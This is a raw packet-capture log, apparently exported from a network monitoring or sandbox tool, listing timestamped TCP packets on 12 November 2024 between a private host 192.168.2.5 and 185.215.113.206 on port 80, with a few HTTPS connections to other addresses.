Nov 12, 2024 08:30:39.931588888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931597948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931600094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931631088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931631088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931760073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931771040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931791067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931803942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931814909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931824923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931859970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931977034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931986094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931996107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932007074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932017088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932027102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932037115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932039976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932039976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932049036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932064056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932066917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932075977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932075977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932087898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932102919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932145119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932404995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932415009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932425022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932435989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932446003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932456970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932461023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932467937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932476044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932478905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932487965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932499886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932501078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932508945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932518959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932518959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932563066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932724953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932738066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932776928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932913065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932921886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932926893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932940006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932949066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932966948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932972908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932972908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.932980061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932990074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.932997942 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.933002949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933007956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933012009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933023930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933027983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933037996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933048964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933058977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933058977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933068037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.933092117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933092117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933129072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.933629036 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.933651924 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.934027910 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.934034109 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.974270105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974286079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974299908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974342108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.974350929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974363089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974375010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974386930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.974386930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.974426031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.974509001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.974574089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.046283960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046303034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046314001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046363115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.046363115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.046789885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046833038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046843052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046861887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.046916008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.046936989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046947956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046960115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.046989918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047013044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047188044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047197104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047236919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047247887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047250986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047250986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047257900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047281027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047281027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047281027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047318935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047318935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047393084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047405005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047444105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047456026 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047482014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047492981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047554970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047689915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047729015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047732115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047740936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047790051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047790051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047887087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047898054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047908068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047920942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.047935009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.047957897 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048037052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048108101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048118114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048126936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048162937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048162937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048187971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048198938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048209906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048221111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048233032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048245907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048249960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048249960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048281908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048290968 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048692942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048741102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048765898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048774958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048784018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048795938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048804998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048806906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048816919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.048840046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048840046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.048866034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049230099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049241066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049252033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049262047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049273014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049283028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049283028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049283981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049293995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049298048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049304962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049316883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049326897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049333096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049336910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049346924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049364090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049364090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049412966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049633026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049643993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049655914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049665928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049678087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049679041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049689054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049700975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049740076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049930096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049940109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049949884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049962044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.049969912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.049973011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050004005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050039053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050224066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050235033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050246954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050257921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050270081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050276995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050298929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050302982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050311089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050321102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050332069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050342083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050352097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050352097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050354958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050367117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050371885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050403118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050404072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.050932884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050944090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050954103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050966024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050976992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.050987959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.051000118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.051000118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.051002979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.051014900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.051043034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.051043034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.051083088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.051358938 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.051424026 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.051583052 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.052043915 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.052064896 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.052082062 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.052087069 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.056107044 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.056137085 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.056236029 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.056590080 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.056603909 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.067122936 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.067190886 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.067194939 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:40.067240000 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.067409039 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.067423105 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.067434072 CET	57094	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.067439079 CET	443	57094	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.067679882 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:40.067718029 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:40.067773104 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:40.071432114 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.071455002 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.071528912 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.071636915 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.071647882 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.088068008 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.090738058 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.090775013 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.091146946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091160059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091177940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091190100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091202021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091217995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091217995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091289997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091367006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091377974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091387987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091398001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091408014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091418028 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.091428041 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.091429949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091429949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091453075 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.091463089 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.091475964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091502905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091512918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091523886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.091547012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091547012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.091598034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.163665056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.163717031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.163793087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.163809061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.163831949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.163887024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.163903952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.163949966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.163979053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.163990021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164041042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164067984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164081097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164109945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164120913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164144039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164216995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164278030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164278030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164288998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164324045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164324045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164351940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164362907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164398909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164493084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164505005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164515972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164532900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164551973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164716959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164788961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164800882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164839029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164879084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.164963007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164973021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.164988041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165000916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165011883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165018082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165019035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165036917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165052891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165199995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165215015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165242910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165256023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165368080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165380001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165390968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165402889 CET	80	49809	185.215.113.206	192.168.2.5
